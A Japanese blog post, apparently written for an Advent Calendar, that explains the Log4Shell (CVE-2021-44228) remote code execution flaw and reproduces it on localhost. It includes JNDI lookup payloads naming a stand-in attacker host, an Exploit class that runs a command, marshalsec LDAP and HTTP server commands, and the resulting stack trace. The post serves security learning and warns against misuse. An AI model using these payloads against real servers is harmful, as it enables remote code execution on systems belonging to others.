log4jの0-day exploitを動かして理解する
これはKCS AdventCalendar2021 10日目の記事です。
どうもyapattaです。最近アドベントカレンダー用の技術記事を書こうと思っていたが書きたい技術が思い浮かばなかった。
そんなときである!本日(投稿したときには前日)幸か不幸かインターネット上でApache-log4jのゼロデイ・エクスプロイト(CVE-2021-44228)が話題を賑わせた。
せっかくだし流行に乗って、実際に動かして理解を深めた。セキュリティ啓発になったら幸いということでこの記事を書く。
急いで書いてかつ自分の知識が不十分であるため、誤りなどが存在する可能性があるがそのときは指摘して頂けるとありがたい。
あとこれが重要、絶対に悪用しないで下さい。
では本題。
log4j RCE 0-day exploitとは
概要
サーバ内でApache log4jのバージョンが2.0
以上2.14.1
以下の場合、log4jを利用しているシステムに対し外部から任意のJavaコードを実行可能にさせる脆弱性というものだ。
CVEの詳細↓
ユースケース
上の概要だけだと具体的にどう実行するのかがよくわからない。ということで以下が実際のユースケース。
- log4jを利用しているサーバに、リクエストで
${jndi:ldap://example/test.java}
みたいなJndi Lookupする文字列をぶち込んでサーバにリクエストを送る - サーバ側でその文字列をlog4jで出力する場合、log4j側で変数展開されるタイミングでLDAPサーバの指定のJavaファイル(今回は
test.java
)を取りに行って実行してしまう
つまりリクエストのとある文字列をlog4jで出力するシステムの場合、LDAPサーバ上の悪意のあるjavaファイルが実行されうるという話だ。だから例えばウェブサービスのフォームに入力した文字列をlog4jで出力するシステムの場合はフォームにJndi Lookupする文字列をぶち込んだら任意のjavaコードが実行可能になるわけだ。[1][2]
↓実際の影響のスクショを集めたサイト
exploitの手順
ユースケースをより具体的に説明する。
- ユーザが悪意のあるペイロードを含むデータをリクエストとしてサーバに送る
- サーバがリクエスト内の悪意があるペイロードを含むデータをログで出力する
- 悪意があるペイロードの例:
${jndi:ldap://attacker.com/a}
- ここで
attacker.com
は攻撃者が持っているサーバ
- 悪意があるペイロードの例:
- ペイロードによって引き起こされた脆弱性のせいで、サーバはJNDI(Java Naming and Directory Interface)を介して
attacker.com
にリクエストを送る - レスポンスにJava Classファイルへのパスが含まれる(このときサーバ上で
Exploit.class
が実行されてしまう)- 例:
http://second-stage.attacker.com/Exploit.class
- 例:
実際にexploitを試してみた
log4jの0-day exploitが何なのかわかってきたということで実際にexploitを試してさらに理解を深めよう。
log4jを利用するJavaプログラムからLDAPサーバにアクセスして、LDAPサーバ上の任意のコードを実行させてみた。
実際にローカルのみで試して下さい。悪用しないで下さい。
参考にしたレポジトリ↓
環境について、
- java 17.0.1 2021-10-19 LTS
- apache-log4j-2.14.1
Javaコード
実行コード
これを元に。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class.getName());
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}
}
Exploit用コード
public class Exploit {
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
実行手順
1. HTTPサーバを起動
適当なポートでHTTPサーバを起動。同じディレクトリにExploit用コードを置く。今回はExploit.class
というファイル。
python -m http.server 8000
2. LDAPサーバを起動
今回はmarshalsecでldapサーバを起動させる。marshalsecを使う理由はExploit用のコードを配信するHTTPサーバへのプロキシとして利用するため。
クローンしてきてMavenでビルド
mvn clean package -DskipTests
LDAPサーバを起動
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"
3. Javaファイルを実行
java log4j
実行結果
確かにExploit.javaが実行された!LDAPサーバ上のjavaファイルが実行されたということだ。
java.io.IOException: Cannot run program "calc": error=2, そのようなファイルやディレクトリはありません
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1143)
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1073)
at java.base/java.lang.Runtime.exec(Runtime.java:594)
at java.base/java.lang.Runtime.exec(Runtime.java:453)
at Exploit.<clinit>(Exploit.java:5)
at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:499)
at java.base/java.lang.reflect.ReflectAccess.newInstance(ReflectAccess.java:128)
at java.base/jdk.internal.reflect.ReflectionFactory.newInstance(ReflectionFactory.java:347)
at java.base/java.lang.Class.newInstance(Class.java:645)
at java.naming/javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:180)
at java.naming/javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:188)
at java.naming/com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1114)
at java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:207)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
at org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
at org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
at log4j.main(log4j.java:8)
Caused by: java.io.IOException: error=2, そのようなファイルやディレクトリはありません
at java.base/java.lang.ProcessImpl.forkAndExec(Native Method)
at java.base/java.lang.ProcessImpl.<init>(ProcessImpl.java:314)
at java.base/java.lang.ProcessImpl.start(ProcessImpl.java:244)
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1110)
... 52 more
01:07:18.219 [main] ERROR log4j - ${jndi:ldap://127.0.0.1:1389/Exploit}
おまけ(用語)
- RCE: Remote Code Executionの略、その名の通り
- 0-day vulnerability: 発見されたがパッチがまだ適用されていないシステムもしくはデバイスの脆弱性[3]
- 0-day exploit: 0-day vulnerabilityを攻撃するエクスプロイト(脆弱性を突いて有害な動作を引き起こすプログラム)
- 0-day attack: 問題の存在自体が広く公表される前にその脆弱性を悪用して実行される攻撃のこと[4]
- log4j: Java用の人気のあるログトレーシングフレームワーク(API)、Apache Software Licenseで配布されている[5]
Discussion